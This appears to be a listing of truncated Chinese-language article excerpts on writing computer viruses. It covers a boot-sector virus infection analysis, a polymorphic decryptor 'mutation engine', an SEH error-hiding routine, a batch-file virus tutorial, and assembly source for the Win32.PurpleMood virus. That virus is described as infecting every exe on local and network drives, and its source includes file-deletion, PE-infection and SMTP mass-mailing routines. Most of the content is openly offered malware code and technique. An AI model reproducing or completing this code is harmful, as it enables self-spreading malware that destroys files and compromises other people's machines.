一个主引导区病毒的分析 步骤5:传染过程分析 方法:U 对软盘传染过程: PUSH AX ;工 PUSH BX ;作 PUSH CX ;寄 PUSH DX ;存 PUSH DS ;器 PUSH ES ;入 PUSH SI ;栈 PUSH DI ;保存 PUSH CS ;以压/弹栈方式 POP DS ;使数据段DS和 PUSH CS ;附加段ES均指向 POP ES ;代码段CS...
一个主引导区病毒的分析 引导扇区病毒,俺手里没有,这是一段DOS BOOT的分析。BOOT区病毒和他完成同样的工作,只不过每次 读盘的时将自身写入磁盘。 引导过程如下: 1调整堆栈位置 2修改并用修改后的磁盘参数表来复位磁盘系统 3计算根目录表的首扇区的位置及IO.SYS的扇...
病毒的高级编写技巧 1、超级病毒变形引擎 此段代码会在DATA段内生成一个解密代码。 .586p .model flat,STDCALL extrn ExitProcess: proc VirusSize=100h .data DecodeMethod dd ? DeCode: pushad call Encode db 100h dup(11h) Encode: db 100h dup(0cch) RndReg0 dd 0...
病毒的高级编写技巧 3、 Windows 9x/2000 意外处理通用程序 此段程序可以达到屏蔽程序错误的效果 include wap32.inc .386p .model flat,stdcall extrn MessageBoxA: proc extrn ExitProcess: proc .data Msg db "***",0 SetSehFrame: ;ecx=忽略错误继续执行地址 pop ea...
Win9x/Winnt/Win2k/Winxp病毒技术探讨 Win32.PurpleMood.6736技术文档 ************************************************* 病毒名称 :PurpleMood (紫色心情) 适用环境: Win9x/Winnt/Win2k/Winxp 编写环境: Win2k,Masm32v6 简 介:1. 感染本地硬盘和网络上所有exe(GU...
Win9x/Winnt/Win2k/Winxp病毒技术探讨 源代码: ----------------------------------- 测试时需要D:\test. 另外,目的油箱可能需要改变,拿自己的实验吧 :) .386 .model flat,stdcall option casemap:none include useful.inc .data hi db "hi",0 ppmm db "ppmm,you ne...
Win9x/Winnt/Win2k/Winxp病毒技术探讨 ;分析文件类型,入口参数为文件名和欲匹配类型(exe或htm) AnFile PROC FileName:DWORD,FileType:DWORD pushad AF_00: lodsb or al,al jnz AF_00 .if FileType == FILE_ALL ;all push FileName mov eax , 12345678h _DeleteFile =...
Win9x/Winnt/Win2k/Winxp病毒技术探讨 push 0 lea eax,ByteWrite push eax push [edi].SizeOfRawData lea eax,[offset VStart+ebx] push eax push hFile mov eax , 12345678h _WriteFile = dword ptr $-4 call eax IF_F1: push pMapping mov eax , 12345678h _UnmapView...
Dos病毒原理 第1章 假想的病毒程序 假如您对病毒的了解象人们对尼斯湖怪的了解一样少,那么读了下面的程序,你会发现怪? 一个批处理病毒 你第一次用批处理编程序是在几年前?你是否想象过下面的批处理也是一个病毒? @ECHO OFF REM 文件名 VIRUS.BAT REM 本病毒感染自...
Win9x/Winnt/Win2k/Winxp病毒技术探讨 SendMail PROC pushad push NULL push SOCK_STREAM push AF_INET mov eax , 12345678h _socket = dword ptr $-4 call eax mov VSocket[ebx],eax push sizeof(sockaddr) ; Size of connect strucure=16 call @SMTP1 ; Connect struc...